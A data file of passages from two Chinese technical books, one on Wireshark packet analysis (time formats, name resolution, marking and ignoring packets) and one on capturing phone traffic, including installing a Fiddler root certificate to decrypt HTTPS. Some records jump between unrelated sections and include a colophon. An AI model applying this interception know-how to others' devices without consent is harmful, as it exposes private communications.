    {"text": "未知 6.2 基于时间分析 Wireshark默认的时间列显示了自捕获开始经过的秒数。当用户需要根据时间来判断一些包的延迟，或者要更具体地查看包的捕获时间时，可以修改时间格式。当用户在分析数据包时，还可以设置时间参考基准。本节将介绍基于时间分析数据包的手段。 未知 6.2.1 时间格式 用户也可以修改默认的时间格式，以方便分析数据包。在菜单栏中，依次选择“视图”|“时间显示格式”命令，即可看到所有的时间显示格式子菜单，如图6.11所示。 图6.11 时间格式子菜单 在该子菜单中显示了所有可以使用的时间格式。其中，默认为“自动捕获开始经过的秒数”和“自动（根据捕获文件）”。 【实例6-6】 以日期和时间格式显示数据包。 （1）打开捕获文件，查看默认显示的时间格式，如图6.12所示。 图6.12 默认显示的时间格式 （2）在菜单栏中依次选择“视图”|“时间显示格式”|“日期和时间”命令，显示如图6.13所示的窗口。 图6.13 修改后的时间格式 （3）从Time列可以看到，成功修改了该捕获文件的时间格式。 未知 6.2.2 设置时间参考 时间参考是所有后续包的起始时间。当用户想要知道某一个特定包的时间间隔时，设置时间参考非常有用，如分析TCP三次握手时间间隔。当用户设置某分组时间参考后，该分组将显示为REF，所有后续包都会以它的时间为基准进行显示。在菜单栏依次选择“编辑”|“设置/取消设置时间参考”命令，即可设置时间参考。如果用户需要取消时间参考的话，在菜单栏中依次选择“编辑”|“设置/取消时间参考”或“取消设置所有时间参考”命令。其中，“设置/取消时间参考”命令，只能用来取消一个时间参考；“取消设置所有时间参考”命令可以取消捕获文件中设置的所有时间参考。当用户在捕获文件中设置多个时间参考并且都希望取消的话，可以依次选择“编辑”|“取消设置所有时间参考”命令，即可快速取消所有的时间参考。 提示： 时间参考不能保存到包文件中，关闭文件后就会丢失。 【实例6-7】 设置分组3为时间参考。其中，分组3默认的时间格式如图6.14所示。 图6.14 默认的时间格式 此时，在菜单栏中依次选择“编辑”|“设置/取消设置时间参考”命令，将显示如图6.15所示的窗口。 图6.15 设置时间参考 从图6.15所示的窗口中可以看到，分组3显示的时间格式为REF。由此可以说明设置时间参考成功，并且可以看到分组4捕获的时间为0.000085秒。如果需要取消的话，在菜单栏依次选择“编辑”|“设置/取消时间参考”命令即可。 当用户设置多个时间参考后，通过依次选择“编辑”|“下一时间参考”命令或选择“编辑”|“前一时间参考”命令，即可在多个时间参考之间进行切换。例如，在当前捕获文件中设置了4个时间参考，分别是分组3、8、12和16，如图6.16所示。 图6.16 设置的多个时间参考 此时，单击“下一时间参考”或“前一时间参考”，即可切换时间参考。 【实例6-8】 以前面设置的多个时间参考为例，在多个时间参考之间切换。 （1）这里选择为分组8设置时间参考，如图6.17所示。 图6.17 选择的时间参考 （2）在菜单栏依次选择“编辑”|“前一时间参考”命令，将跳转到分组3的时间参考，如图6.18所示。 图6.18 快速切换到前一个时间参考 （3）如果用户想要查看下一个时间参考，可以在菜单栏依次选择“编辑”|“下一时间参考”命令，将跳转回分组8的时间参考。 未知 6.2.3 修正显示的时间 为了方便分析不同时区的数据包，用户可以修改数据包显示的时间。用户在不同地区捕获的包，时区格式则不同。例如，如果用户在英国的某台服务器上生成了数据包，在中国的服务器上打开时，会发现并不是英国当地发生的时间。此时，用户可以通过时间平移的方式修正显示的时间。在菜单栏依次选择“编辑”|“时间平移”命令，打开“时间平移”对话框，如图6.19所示。 图6.19 “时间平移”对话框 在该对话框中，用户可以平移所有分组、设置分组时间或撤销所有平移。其中，平移时间格式为[-][hh:]mm:]ss[.ddd]；设置分组时间的格式为[YYYY-MM-DD]hh:mm:ss[.ddd]。如果用户在时间前面添加减号（-），则表示向前平移；不加的话，则表示向后平移。 【实例6-9】 所有分组向后平移8个小时。 （1）打开捕获文件，并在分组详情中查看当前捕获的时间，如图6.20所示。 图6.20 当前的捕获时间 （2）从分组详情中可以看到，分组2当前的时间为June 11,201916:10:21.977511000。此时，在菜单栏依次选择“编辑”|“时间平移”命令，打开“时间平移”对话框，如图6.21所示。 图6.21 “时间平移”对话框 （3）在该对话框中选择“平移所有分组”单选按钮，并输入平移的时间为08:00:00。然后单击Apply按钮使配置生效。此时，查看分组的时间，效果如图6.22所示。 图6.22 成功平移时间 （4）从分组详情中可以看到，当前分组的时间已修改为Jun 12,201900:10:21.9775110000。由此可以说明，该分组成功向后平移了8个小时。"},
    {"text": "未知 6.3 名称解析 名称解析功能可以用来解析MAC地址、端口和IP地址，将抽象的数值转化为人们容易理解的名称。其中，默认启用了MAC地址解析。为了方便用户对数据包进行更详细的分析，本节将介绍启用其他名称解析的方法。 未知 6.3.1 MAC地址解析 MAC地址是指一个网络接口的物理地址。通过启用MAC地址解析功能，可以将MAC地址解析为对应的生产厂商。根据MAC地址的生产厂商，可以判断出目标主机的设备类型。当用户在分析无线数据包时非常有用。当启用MAC地址解析功能后，即可快速判断出AP或目标主机的设备类型。在菜单栏中，依次选择“编辑”|“首选项”|Name Resolution命令，打开名称解析对话框，如图6.23所示。 图6.23 名称解析对话框 在该对话框中，Resolve MAC addresses选项用来启用MAC地址解析，默认已经启用该功能。如果想要关闭MAC地址解析，则去掉Resolve MAC addresses复选框中的对勾即可。 用户通过在菜单栏中依次选择“视图”|“解析名称”|“解析物理地址”命令，或者在捕获接口对话框中选择“选项”选项卡，也可以启用MAC地址解析功能。在菜单栏依次选择“视图”|“解析名称”命令，将展开如图6.24所示的子菜单。 图6.24 “解析名称”子菜单 从子菜单中可以看到，用户可以用来启用解析物理地址、解析网络地址和解析传输层地址。其中，每个解析名称的功能如下： ·解析物理地址：将MAC地址解析为生产厂商。 ·解析网络地址：将IP地址解析为主机名。 ·解析传输层地址：将端口解析为服务名。 当启用某个解析功能后，解析名称左侧将出现一个对勾。从图6.24中可以看到，默认已经启用了“解析物理地址”功能。如果需要停止该功能，单击“解析物理地址”命令即可。 在菜单栏中依次选择“捕获”|“选项”命令，打开“捕获接口”对话框，如图6.25所示。 图6.25 “捕获接口”对话框 在其中选择“选项”选项卡，如图6.26所示。 图6.26 “选项”选项卡 从图6.26中可以看到有一个解析名称功能，可以用来启用MAC地址解析、解析网络名称和解析传输层名称，从该对话中可以看到，默认已经启用了“MAC地址解析”。如果需要停止，则去掉“MAC地址解析”复选框中的对勾即可。 未知 6.3.2 端口自动解析 Wireshark还提供了一个端口自动解析功能，可以将TCP/UDP常见端口解析为服务名。通过启用该功能，用户可以非常清楚地看到目标主机运行的服务。在菜单栏依次选择“编辑”|“首选项”|Name Resolution命令，打开名称解析对话框，如图6.27所示。 图6.27 解析端口名 这里默认没有启动端口自动解析功能。在名称解析对话框中勾选Resolve transport names复选框，即可启动端口自动解析功能。 用户通过在菜单栏依次选择“视图”|“解析名称”|“解析传输层地址”命令，或者在捕获接口对话框的“选项”选项卡中也可以启用端口自动解析功能。在菜单栏依次选择“视图”|“解析名称”命令，将显示对应的子菜单，如图6.28所示。 在子菜单中，选择“解析传输层地址”命令，在解析传输层地址左侧将出现一个对勾，如图6.29所示。 此时，则表示成功启动了端口自动解析功能。 在菜单栏中依次选择“捕获”|“选项”命令，将打开“捕获接口”对话框，如图6.30所示。 图6.28 “解析名称”子菜单 图6.29 成功启动端口自动解析 图6.30 “捕获接口”对话框 在其中选择“选项”选项卡，显示如图6.31所示。 图6.31 “选项”选项卡 在“解析名称”部分，勾选“解析传输层名称”复选框即可启动端口自动解析功能。 【实例6-10】 启用端口自动解析功能。 （1）打开捕获文件，显示如图6.32所示。 图6.32 捕获文件 （2）从分组列表的Info列可以看到源和目标传输该数据包使用的端口，此时，用户在菜单栏依次选择“视图”|“解析名称”|“解析传输层地址”命令，即可将其端口解析为服务名，如图6.33所示。 图6.33 端口自动解析 （3）从图6.33所示窗口的Info列可以看到，已经成功将数据包的端口解析为对应的服务名。例如，端口443对应的服务名为https；80端口对应的服务名为http。由此可以说明，成功启用了端口自动解析功能。 未知 1.3 Wireshark概述 Wireshark的前称是Ethereal，它是一款开源的网络封包分析工具。该工具可以捕获网络封包，并尽可能显示出最为详细的网络数据包信息。通过对捕获的包进行分析，可以了解用户行为和传输的数据内容等。Wireshark使用WinPcap作为接口，直接与网卡进行数据报文交换。从Wireshark 3.0.0版本开始，Windows版本上的WinPcap已被Npcap取代。本节将介绍Wireshark的版本及其在各种操作系统上的安装方法。"},
    {"text": "未知 6.3.3 IP地址解析 IP地址解析可以将一个IPv4或IPv6地址解析为对应的主机名。在菜单栏依次选择“编辑”|“首选项”|Name Resolution命令，将打开名称解析对话框，如图6.34所示。 图6.34 解析网络（IP）地址 在其中勾选Resolve network(IP)addresses复选框，即可启动IP地址解析功能。 用户通过在菜单栏中依次选择“视图”|“解析名称”|“解析网络地址”命令，或者在捕获接口对话框中选择“选项”选项卡，然后勾选“解析网络名称”复选框，也可以启动IP地址解析功能。 【实例6-11】 启用IP地址解析。 （1）打开捕获文件，显示如图6.35所示。 图6.35 捕获文件 （2）从窗口中可以看到，所有分组的源（Source）和目标（Destination）地址列显示的都是IP地址。此时，在菜单栏依次选择“视图”|“解析名称”|“解析网络地址”命令，即可将IP地址解析为对应的主机名，如图6.36所示。 图6.36 成功解析了IP地址 （3）从窗口中可以看到，已经成功将原来的IP地址解析为主机名。 未知 6.4 协议解析 当用户在分析数据包时，还可以手动指定解析的协议。Wireshark默认启用了大部分的协议。但是一些不常用的协议可能没有启用。如果用户需要时，可以手动指定启用某个协议。本节将介绍协议解析的手段。 未知 6.4.1 启用协议 通过启用协议，即可显示分组的更高层协议信息。Wireshark默认启用了一些协议。在菜单栏依次选择“分析”|“启用协议”命令，弹出“已启用的协议”对话框，如图6.37所示。 在“已启用的协议”对话框中包括“协议”“描述”两列。其中，“协议”列显示了所有的协议名称，“描述”列则是对协议的描述。如果用户想要启用某协议，勾选协议名前面的复选框即可。在该对话框中，通过单击“全部启用”或“全部禁用”按钮，即可启用或禁用全部的协议。单击“反转”按钮，则表示取反。如果用户想要快速查找是否启用某协议，则可以在搜索框中输入协议名称进行搜索。例如，搜索TCP协议，将显示如图6.38所示的结果。 图6.37 “已启用的协议”对话框 图6.38 搜索结果 从显示结果中可以看到，搜索到了所有相关的TCP协议，并且可以看到dnp3_tcp协议没有启用。如果想要启用的话，勾选dnp3_tcp协议复选框，并单击OK按钮使配置生效。 未知 6.4.2 指定解析的协议 在Wireshark中，用户还可以强制指定使用某种协议解析特定的分组。在菜单栏依次选择“分析”|“解码为”命令，弹出“解码为”对话框，如图6.39所示。 图6.39 “解码为”对话框 从“解码为”对话框中可以看到，目前没有指定解析的协议。单击加号按钮 ，即可指定解析的协议。在该对话框中包括“字段、值、类型、默认、当前”5列信息，每列信息的含义如下： ·字段：用来指定解析协议的字段名称。其中，可指定的字段名称如表6.1所示。 ·值：指定字段名对应的值。 ·类型：指定字段值的类型。 ·默认：指定字段的默认值。 ·当前：指定字段的当前值。其中，可以设置的当前值如表6.2所示。 当用户指定一个字段名称后，其他列将获取到对应的默认值。 表6.1 可指定的协议字段名 表6.2 当前值 【实例6-12】 指定解析一个IP protocol字段。 （1）在“解码为”对话框中单击加号按钮 ，将进入如图6.40所示的对话框。 （2）从该对话框中可以看到，默认添加了一个字段为TCP port，值为21766，类型为整数、基数10的协议。此时双击TCP port，并在下拉列表框中选择IP Protocol字段，如图6.41所示。 图6.40 添加解析的协议 图6.41 指定解析的协议 （3）从中可以看到，成功添加了指定解析的协议IP protocol。单击Save按钮使配置生效。 未知 6.5 数据包分组 当用户在分析数据包时，可以对重要的数据包进行标记，对不重要的数据包进行忽略，以方便进行分析。本节将介绍对数据包分组进行标记或忽略的方法。"},
    {"text": "未知 6.5.1 标记分组 当用户分析数据包时，可以对重要的数据包进行标记。下面将介绍标记分组的方式，以及如何对标记的分组进行保存。 1.标记方式 根据标记的分组范围不同，标记方式也不同。如果用户只是针对特定的包进行标记，则需要依次标记。在菜单栏依次选择“编辑”|“标记/取消标记分组”命令，即可标记或取消特定分组的标记。 【实例6-13】 标记分组3。在捕获文件中选择分组3，并在菜单栏依次选择“编辑”|“标记/取消标记分组”命令，即可成功标记该分组，如图6.42所示。 图6.42 成功标记分组3 从图6.42所示的窗口中可以看到，分组3高亮显示，即标记成功。其中，标记的分组背景色为黑色，前景色为白色。从底部的状态栏也可以看到，总共分组为359、已显示分组为359、已标记分组为1。如果希望取消该分组标记，则先选择该分组，然后在菜单栏中依次选择“编辑”|“标记/取消标记分组”命令，或者选择“编辑”|“取消所有显示的标记”命令即可。 对于使用显示过滤器过滤后的分组进行标记，则可以使用标记所有显示分组的方式标记。在菜单栏依次选择“编辑”|“标记所有显示的分组”命令即可。 【实例6-14】 标记所有HTTP协议的数据包。 （1）在捕获文件中使用显示过滤器http，过滤所有HTTP协议的数据包，如图6.43所示。 图6.43 显示过滤出的所有HTTP协议包 （2）从图6.43中可以看到显示过滤的所有HTTP协议包。此时，在菜单栏依次选择“编辑”|“标记所有显示分组”命令，即可标记所有显示的分组，如图6.44所示。 图6.44 成功标记所有显示的分组 （3）从该窗口可以看到，所有显示的分组都已标记。而且，从状态栏可以看到，已标记分组为7个。 说明： 用户通过右击分组，也可以对分组进行标记。首先选择要标记的分组右击，然后在菜单栏选择“标记/取消标记分组”命令即可。 如果针对连续的包进行标记，则标记第一个和最后一个即可，这样可以将第一个和最后一个作为分界点，以方便分析标记的数据包。 【实例6-15】 标记1到10分组。 （1）在捕获文件中选择分组1，并在菜单栏依次选择“编辑”|“设置/取消标记分组”命令，如图6.45所示。 （2）在捕获文件中选择分组10，并在菜单栏依次选择“编辑”|“设置/取消标记分组”命令，如图6.46所示。 图6.45 标记分组1 图6.46 标记连续的分组 （3）从图6.46中可以看到，成功标记了分组1和分组10。此时，可以看作标记的分组范围为分组1到分组10。 当用户在捕获文件中标记多个分组时，如果想要查看标记的分组，可以在菜单栏依次选择“编辑”|“下一标记”命令，或选择“编辑”|“前一标记”命令，查看下一标记或前一标记分组。 2.保存标记的分组 为了方便用户对标记的分组进行分析，可以单独保存标记的分组。在菜单栏中依次选择“文件”|“导出特定分组”命令，将显示导出特定分组对话框，如图6.47所示。 图6.47 导出特定分组对话框 在该对话框中指定分组的保存位置和文件名，然后在Packet Range（包范围）部分选择Marked packets单选按钮，即可导出标记的分组。 未知 6.5.2 导出分组结果 用户还可以将分组导出为其他解析结果，如纯文本、CSV和C数组等。在菜单栏依次选择“文件”|“导出分组解析结果”命令，如图6.48所示。 图6.48 “导出分组解析结果”子菜单 从子菜单中可以看到，导出分组解析结果可以为纯文本、CSV、C数组、PSML XML、PDML XML和JSON。每种解析结果的含义如下： ·纯文本：导出为.txt文本文件。 ·CSV：导出为.csv格式的文件。 ·“C”Arrays：导出为.c格式的文件。 ·PSML XML：导出为.psml格式的文件。 ·PDML XML：导出为.pdml格式的文件。 ·JSON：导出为.json格式的文件。 例如，选择导出为纯文本命令，将弹出如图6.49所示的对话框。 图6.49 导出特定分组解析结果 在该对话框中，用户可以指定导出的包范围（Packet Range）和包格式（Packet Format）。包格式中的每个选项含义如下： ·Packet summary line：导出包的摘要行信息。 ·Include column headings：包括列头部。 ·Packet details：导出包的详细信息。单击包详细信息的下拉按钮，在下拉列表框中可以选择包详细信息类型。其中，可以选择的类型有All collapsed（所有折叠）、As displayed（显示的）和All expanded（所有展开）。 ·Packet Bytes：导出包的字节流信息。 ·Each packet on a new page：导出在一个新页中的每个包。 【实例6-16】 导出分组解析结果为纯文本。 （1）在菜单栏中依次选择“文件”|“导出分组解析结果”|“为纯文本”命令，弹出导出文件对话框，如图6.50所示。 （2）在其中指定分组保存的位置和文件名。这里指定文件名为test，保存位置为桌面。然后单击“保存”按钮，即可将分组导出为test.txt文件。此时，用户可以通过记事本的方式打开并查看导出的文件内容，如图6.51所示。 图6.50 导出特定分组解析结果 图6.51 导出的分组内容 （3）从图6.51中可以看到以纯文本形式导出的分组解析结果信息。"},
    {"text": "未知 6.5.3 忽略分组 用户在分析数据包时，可以设置将一些无关的分组忽略。下面将介绍忽略分组及单独保存忽略分组的方法。 1.忽略分组 在分组列表中选择要忽略的分组，并在菜单栏依次选择“编辑”|“忽略/取消忽略分组”命令，即可忽略其分组。如果用户需要取消忽略单个分组，选择被忽略的分组，并在菜单栏依次选择“编辑”|“忽略/取消忽略分组”命令，即可恢复当前分组。当用户使用过滤器后，可以选择忽略所有显示的分组。在菜单栏依次选择“编辑”|“忽略所有显示的分组”命令，即可忽略所有显示的分组。如果用户想要返回原来的包，则在菜单栏依次选择“编辑”|“取消忽略所有显示的分组”命令即可。 【实例6-17】 忽略分组4。 （1）打开捕获文件，显示如图6.52所示。 图6.52 捕获文件中的分组 （2）在图6.52所示窗口中显示了捕获文件中的所有分组。在分组列表中选择分组4，并在菜单栏依次选择“编辑”|“忽略/取消忽略分组”命令，即可忽略该分组，如图6.53所示。 （3）可以看到，分组4已被忽略，Info列显示为Ignored，而且从状态栏可以看到已忽略1个分组。如果想要还原该分组，则在菜单栏依次选择“编辑”|“忽略/取消忽略分组”命令即可。 图6.53 忽略的分组 【实例6-18】 忽略所有HTTP分组。 （1）在捕获文件中使用显示过滤器过滤http，过滤所有HTTP分组，如图6.54所示。 图6.54 显示所有HTTP分组 （2）在菜单栏中依次选择“编辑”|“忽略所有显示的分组”命令，则所有显示的分组都将被忽略，如图6.55所示。 图6.55 所有显示的分组都已忽略 （3）可以看到，所有显示的分组都已忽略，没有显示任何数据包。而且从状态栏可以看到，已忽略了6个分组。如果想要还原所有分组，在菜单栏依次选择“编辑”|“取消忽略所有显示的分组”命令即可。 2.移除忽略的分组 对于标记为忽略的分组，用户可以将其永久移除。在菜单栏依次选择“文件”|“导出特定分组”命令，将显示导出特定分组对话框，如图6.56所示。 图6.56 导出特定分组对话框 在该对话框中，指定文件的保存位置和文件名。然后勾选Remove Ignored packets复选框，并单击“保存”按钮，即可不再保存忽略的分组。 未知 6.6 分组注释 用户还可以对分组添加注释，用来记录分析的结果。默认添加的注释将自动添加到分组详情中。为了便于查看，用户还可以将注释添加为列，直接显示在分组列表中。本节将介绍添加分组注释的方法。 在分组列表中，选择要添加注释的分组，然后在菜单栏依次选择“编辑”|“分组注释”命令，将弹出对应的分组注释对话框，如图6.57所示。 图6.57 分组注释对话框 在其中添加注释信息，并单击OK按钮，即可成功为其分组添加注释。如果用户不需要其注释时，在菜单栏依次选择“编辑”|“删除所有分组注释”命令即可。 【实例6-19】 为分组90添加注释信息。 （1）在捕获文件的分组列表中选择分组90，并在菜单栏依次选择“编辑”|“分组注释”命令，将打开该分组的注释对话框，如图6.58所示。 （2）在该对话框中添加注释信息为HTTPS transport，如图6.59所示。 图6.58 分组90注释 图6.59 添加的注释 （3）单击OK按钮，在分组详情中即可看到添加的注释，如图6.60所示。 图6.60 添加注释 （4）从分组详情中可以看到，成功添加了一个名为Packet comments（包注释）子树，而且还可以看到该子树的详细信息。 用户通过查看捕获文件属性或专家信息，也可以看到为分组添加的注释。在菜单栏依次选择“统计”|“捕获文件属性”命令，将打开“捕获文件属性”对话框，如图6.61所示。 图6.61 “捕获文件属性”对话框 从对话框的细节部分可以看到，包括一个分组注释信息，即90帧添加了注释，信息为HTTPS Transport。在菜单栏依次选择“分析”|“专家信息”命令，将打开“专家信息”对话框，如图6.62所示。 图6.62 “专家信息”对话框 从该对话框中的“严重”列可以看到，有一个Comment（注释）信息。单击Comment，即可看到添加注释的所有分组信息。其中，这里添加注释的包为90。 【实例6-20】 将以上的分组注释添加为列。 （1）在分组90的详细信息中，选择Packet comments子树并右击，将弹出一个快捷菜单，如图6.63所示。 （2）选择“应用为列”命令，即可在分组列表中添加分组注释列，如图6.64所示。 图6.63 快捷菜单 图6.64 成功添加分组注释列 （3）从分组列表中可以看到，成功添加了Packet comments（分组注释）列，而且添加有注释的分组将显示一个对勾 。 未知 6.7 跳转分析 当用户捕获的数据包较多时，可以通过跳转的方式快速跳转到某个分组。其中，用户可以以多种方式跳转，如顺序跳转、指定跳转分组、对话内跳转和历史记录跳转。本节将介绍跳转分析的手段。 未知 信息安全技术大讲堂 从实践中学习Wireshark数据分析 大学霸IT达人 编著 ISBN：978-7-111-64354-8 本书纸版由机械工业出版社于2020年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。 版权所有，侵权必究 客服热线：+ 86-10-68995265 客服信箱：service@bbbvip.com 官方网址：www.hzmedia.com.cn 新浪微博 @华章数媒 微信公众号 华章电子书（微信号：hzebook） Cover"},
    {"text": "未知 前言 随着信息技术的发展，手机作为人们必备的电子设备，完全融入了人们的生活和工作中。现在的手机都搭载了完备的操作系统，如Android和iOS等。这些系统上运行着几十万种应用程序，用来满足用户的各种需求，如出行、娱乐和工作等。其中，大部分应用程序都通过网络传输数据，完成用户的各种任务。 网络数据传输是手机的必备功能，分析手机传输的数据也因此而成为一项重要工作。例如，应用开发人员需要抓取和分析数据，验证数据传输的正确性；信息安全人员需要通过分析数据，排查恶意软件，防范信息泄露；普通网络爱好者则需要借此学习网络运行机制和网络协议。 不同于桌面操作系统，Android和iOS系统为了自身的安全，限制软件对系统底层的操作，从而造成数据抓包的各种困难。基于这些问题，本书首先介绍手机抓包的基础知识，如实施的目的和意义、网络基础和联网管理，然后详细讲解各种抓包方式，如直接抓包、热点抓包、USB共享抓包、监听抓包、路由器镜像抓包，最后讲解常见的协议数据包分析方式以及Xplico快速分析方式。 本书特色 1.内容可操作性强 在实际应用中，数据抓包是一项操作性极强的技术，本书秉承这个特点，合理安排内容。从第1章开始，本书就详细讲解操作类内容，如设置联网模式、限制其他程序、获取网络信息等。在后续章节中，对每个技术要点都配以操作实例，带领读者动手练习。 2.详细剖析手机抓包的各种方式 出于安全考虑，Android和iOS系统对数据抓包做了各种限制，如何抓取手机数据包因而成为难点。本书对数据传输的各个环节依次进行分析，讲解多种数据抓包方式，包括直接从手机上抓取数据、利用无线网卡和蓝牙构建热点抓包、利用USB线共享网络抓包、利用Wi-Fi广播原理监听抓包，以及利用路由器的镜像端口抓包。 3.由浅入深，容易上手 本书从概念讲起，帮助读者明确手机数据抓包的目标和操作思路，同时详细讲解如何准备手机环境，如设置联网模式、限制网络访问等。这些内容可以让读者快速上手，从而理解手机数据抓包的技巧。 4.环环相扣，逐步讲解 手机抓包和分析是一个理论、应用和实践三者紧密结合的技术，涉及的任何一个有效实施策略都由对应的理论衍生应用，并结合实际情况而产生。本书力求按照这个思路讲解每个重要内容，帮助读者在学习中举一反三。 5.提供完善的技术支持和售后服务 本书提供QQ交流群（343867787）和论坛（bbs.daxueba.net），供读者交流和讨论学习中遇到的各种问题。读者还可以关注我们的微博账号（@大学霸IT达人），以获取图书更新信息及相关技术文章。另外，本书还提供了售后服务邮箱hzbook2017@163.com，读者在阅读本书的过程中若有疑问，也可以通过该邮箱获得帮助。 本书内容 第1章主要介绍手机抓包的各项准备工作，如手机抓包的意义和目的、法律边界、网络连接方式、网络协议基础、数据捕获方式和联网管理等。 第2章主要介绍如何从手机上抓取数据，包括使用Packet Capture抓包，使用bitShark抓取Android手机数据，以及使用Xcode抓取苹果手机数据等。 第3章模主要介绍如何搭建Android模拟器进行抓包，包括自建模拟器、配置模拟器环境、安装App、捕获数据包、使用夜神模拟器等。 第4章主要介绍如何在手机外部的数据传输通道上进行抓包，包括Wi-Fi热点抓包、蓝牙热点抓包、USB网络抓包、Wi-Fi网络监听抓包和路由器镜像抓包等。 第5～7章主要讲解如何分析手机上抓取的数据包，不仅包括常见的DNS、TCP、UDP、HTTP和HTTPS等协议的数据包分析，而且还包含使用Xplico工具进行数据快速分析和提取的方法。 配套资源获取方式 本书涉及的工具和软件需要读者自行获取，有以下几种途径： ·根据书中对应章节给出的网址自行下载； ·加入本书QQ交流群获取； ·访问论坛bbs.daxueba.net获取； ·登录华章公司网站 www.hzbook.com ，在该网站上搜索到本书，然后单击“资料下载”按钮，即可在本书页面上找到“配书资源”下载链接。 内容更新文档获取方式 为了让本书内容紧跟技术的发展和软件更新的步伐，我们会对书中的相关内容进行不定期更新，并发布对应的电子文档。需要的读者可以加入QQ交流群获取，也可以通过华章公司网站上的本书配套资源链接下载。 读者对象 ·渗透测试技术人员； ·网络安全和维护人员； ·信息安全技术爱好者； ·在校大学生； ·对计算机安全感兴趣的自学者； ·手机应用程序开发人员； ·专业培训机构的学员。 阅读建议 ·手机数据抓包的方式较多，优缺点并存，建议先通读第2、3、4、6章，再根据自己的实际情况选择合适的抓包方式。 ·在实施抓包的过程中，建议重复多次操作，进行对比分析，发现正确的数据。 ·在抓取数据之前，建议了解相关法律，避免侵犯他人的权益或触犯法律。 ·数据分析需要读者具备一定的网络协议知识和Wireshark使用经验，建议阅读相关图书。 售后支持 本书由大学霸IT达人团队编写。感谢在本书编写和出版过程中给予笔者大量帮助的各位编辑！由于作者水平所限，加之写作时间有限，书中可能还存在一些疏漏和不足之处，敬请各位读者批评、指正。"},
    {"text": "未知 第1章 基础知识 在实施手机抓包之前，用户需要先了解一些相关的基础知识，如抓包的目的和意义、法律边界、数据传输方式及捕获方式等，这样可以更有效地实施数据包捕获和分析。本章讲解手机抓包的一些基础知识。 未知 1.3 联网管理 手机上的大部分App都是需要连接到网络才可以使用，而且，默认情况下允许所有程序连接网络。为了尽可能捕获有用的数据包，则需要对App的联网进行相关设置。本节讲解管理联网的相关设置。 未知 6.3.3 配置苹果设备证书 由于无法将证书FiddlerRoot.cer发送到苹果手机上，Fiddler提供了相应的网址，用于证书下载。具体安装方法如下： （1）在手机浏览器中，输入网址192.168.12.102:8888，将显示下载Fiddler证书界面，如图6.32所示。其中，192.168.12.102为Fiddler所在的主机地址，8888为Fiddler监听的端口。 （2）单击FiddlerRoot certificate链接，弹出下载对话框，如图6.33所示。 （3）单击“允许”按钮，弹出“选取设备”对话框，如图6.34所示。 图6.32 证书下载界面 （4）在图6.34中，选择下载证书安装的设备，下载完成后将显示成功下载证书文件对话框，如图6.35所示。 （5）在手机的“设置”界面中单击“通用”选项，打开“通用”界面如图6.36所示。 图6.33 下载对话框 图6.34 选项设置 图6.35 下载完成 （6）单击“描述文件”选项，可以看到下载的Fiddler证书，如图6.37所示。 图6.36 “通用”界面 图6.37 下载的Fiddler证书 （7）单击该文件，将安装证书。 未知 6.4 捕获Web Session 成功设置好代理以后，就可以使用Fiddler捕获手机上的数据了。客户端向服务器发送请求，服务器收到请求后做出响应，这一过程被称为一个Web Session，并且在Session列表中进行显示。由于请求使用的协议不同，因此将协议分为HTTPSession和HTTPSSession两种。 未知 6.4.1 捕获HTTP Session 默认情况下，Fiddler只捕获HTTP的数据包。捕获HTTPSession的方法如下： （1）启动Fiddler，并设置远程代理，然后在手机上设置代理。 （2）在手机上进行操作。这里打开酷狗音乐App，此时将会产生大量的HTTP数据包。这些数据包会被Fiddler捕获，并显示在左侧的Session列表中，如图6.38所示。 图6.38 捕获手机上的HTTP数据包 Session列表中显示了从手机上捕获的酷狗音乐数据包，并且都是HTTP。这些数据包分为11列，每列的含义如下： ·#表示Fiddler为Session生成的ID。 ·Result表示响应状态码。 ·Protocol表示该Session使用的协议，如HTTP、HTTPS或FTP。 ·Host表示接收请求的服务器的主机名和端口号。 ·URL表示请求URL的路径、文件和查询字符串。 ·Body表示响应体中包含的字节数。 ·Caching表示响应头中Expires和Cache-Control字段的值。 ·Content-Type表示响应的Content-Type头类型。 ·Process表示数据流对应的本地Windows进程。 ·Comments表示Session的注释信息。 ·Custom表示FiddlerScript所设置的ui-CustomColumn标志位的值。 未知 6.4.2 捕获HTTPS Session 如果要使用Fiddler捕获HTTPS数据包，则需要进行额外的设置，否则无法捕获HTTPS的Session。具体操作方法如下： （1）启动Fiddler，在菜单栏中依次选择Tools|Options...命令，弹出Options对话框，切换到HTTPS选项卡，如图6.39所示。 图6.39 HTTPS选项卡 （2）选中Capture HTTPS CONNECTs复选框，启用HTTPS捕获功能，然后选中Decrypt HTTPS traffic复选框，启用HTTPS解密功能。单击Actions按钮，弹出下拉列表框，如图6.40所示。 图6.40 信任证书 （3）选择Trust Root Certificate选项，弹出警告对话框，如图6.41所示。 （4）该警告信息询问是否信任Fiddler证书。单击Yes按钮，弹出安装证书对话框，如图6.42所示。 （5）单击“是(Y)”按钮安装证书后，返回到HTTPS选项卡，单击OK按钮。此时就可以捕获手机上的HTTPS数据包了。 图6.41 警告对话框 图6.42 安装证书 （6）在手机上进行操作。这里打开新浪新闻App，并浏览新闻。Fiddler将捕获对应的数据包，如图6.43所示。从Protocol列中可以看到捕获的都是HTTPSSession。 图6.43 捕获的HTTPS数据包 未知 6.4.3 Session的构成 每一个Session都是由请求和响应构成，在Fiddler主界面的右侧选择Inspectors选项卡，可以查看Session的构成，如图6.44所示。其中，一个Session分为上下两部分，上部分为请求面板，下部分为响应面板。每部分的最上端提供了一些选项卡，用于查看该部分的信息。 图6.44 Session的构成 未知 6.5 请求数据 客户端向Web服务器发送HTTP请求所产生的数据为请求数据。该数据中包含客户端向服务器请求的网址、Cookie、表单内容等重要信息。本节详细分析这些数据。 未知 6.5.1 请求数据结构 HTTP请求数据结构分为3部分，分别为请求行、请求头和请求体。在Fiddler的Session列表中选择任意一个会话，然后在请求面板中选择Raw选项卡，就可以查看HTTP请求数据的详细信息了，如图6.45所示。 图6.45 HTTP请求数据结构 其中，请求行包含请求方法、请求使用的URL和使用的协议版本；请求头包含有关的客户端环境和请求正文的有用信息；请求体包含客户端提交的数据。 提示： 会话的请求方式为POST，在请求中可以看到会话的请求体。如果使用GET请求方法的话，请求体（body）为空。"},
